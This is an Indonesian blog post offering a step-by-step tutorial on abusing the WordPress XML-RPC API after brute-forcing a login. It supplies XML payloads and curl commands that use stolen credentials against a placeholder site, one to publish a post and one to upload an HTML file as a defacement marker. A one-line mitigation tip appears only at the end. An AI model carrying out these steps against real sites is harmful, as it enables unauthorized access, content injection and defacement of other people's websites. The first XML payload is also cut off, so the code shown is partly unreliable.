Thursday, 27 May 2021

Exploiting XML-RPC API pada WordPress

 



Vulnerability pada XMLRPC / tahap setelah BruteForce / alternatif jika gagal login ke /wp-admin/ (403/404/500)


  1.  Add Post (Menambahkan Postingan)

Menambahkan Postingan Baru Dengan POST XMLRPC:

Buka terminal linux (kali/ubuntu/termux/dll..)

Masukan command: nano addpost.xml

Lalu isikan dengan exploit berikut: 


<?xml version="1.0"?> <methodCall>

<methodName>wp.newPost</methodName> <params>

        <param><value>parameter</value></param>

        <param><value>vulnuser</value></param>

        <param><value>vulnuserpassword</value></param>

        <param><struct>

                <member><name>post_title</name><value>Exploit To Add Post with XML-RPC</value></member>

                <member><name>post_content</name><value>Seems Like The Site Was Vulnerable!</value></member>

                <member><name>post_excerpt</name><value>excerpt</value></member>

        </struct></param> </params>

 Saatnya mengexploit!

Masukan command: 

curl http://vulnsite.com/xmlrpc.php --data @addpost.xml

Jika sukses akan tampil seperti ini:


Angka 6 adalah id postnya

Cara melihat postingannya dengan menambahkan ?p=idpostingan 

Contoh: http://vulnsite.com/?p=6


Post Sukses Dibuat.


  1.  Add Media/File (Menambahkan Media/File)


Menambahkan Media atau File Baru Dengan POST XMLRPC:

Buka terminal linux (kali/ubuntu/termux/dll..)

Masukan command: nano addfile.xml

Lalu isikan dengan exploit berikut: 


<?xml version="1.0"?> <methodCall>

<methodName>metaWeblog.newMediaObject</methodName> <params>

        <param><value>parameter</value></param>

        <param><value>vulnuser</value></param>

        <param><value>vulnuserpassword</value></param>

        <param><struct>

                <member><name>name</name><value>touched.html</value></member>

                <member><name>type</name><value>text/plain</value></member>

                <member><name>bits</name><value>

                <![CDATA[<h1><center>File Uploaded Success<br/>XML-RPC add file exploit</center></h1>]]>

</value></member>

        </struct></param> </params>

</methodCall>


Exploit!

Masukan command: 

curl http://vulnsite.com/xmlrpc.php --data @addfile.xml

Jika sukses akan tampil seperti ini:


File sukses disimpan sesuai dengan nama yg telah ditentukan, di sini saya namakan filenya touched.html

Cara melihat hasil file yg tersimpan:

http://vulnsite.com/wp-content/uploads/2021(tahun saat upload)/05(bulan saat upload/namafile.html

Mari kita cek!:


File sukses terupload!


Cara mencegah exploit ini adalah dengan menginstall plugin bernama "Disable XML-RPC" lalu aktifkan, dan xmlrpc akan aman.


Sekian dari saya, semoga berguna dan bermanfaat!



Latest
Next Post

Anak lelaki yang sangat tertarik dan menyukai dunia IT

1 comment: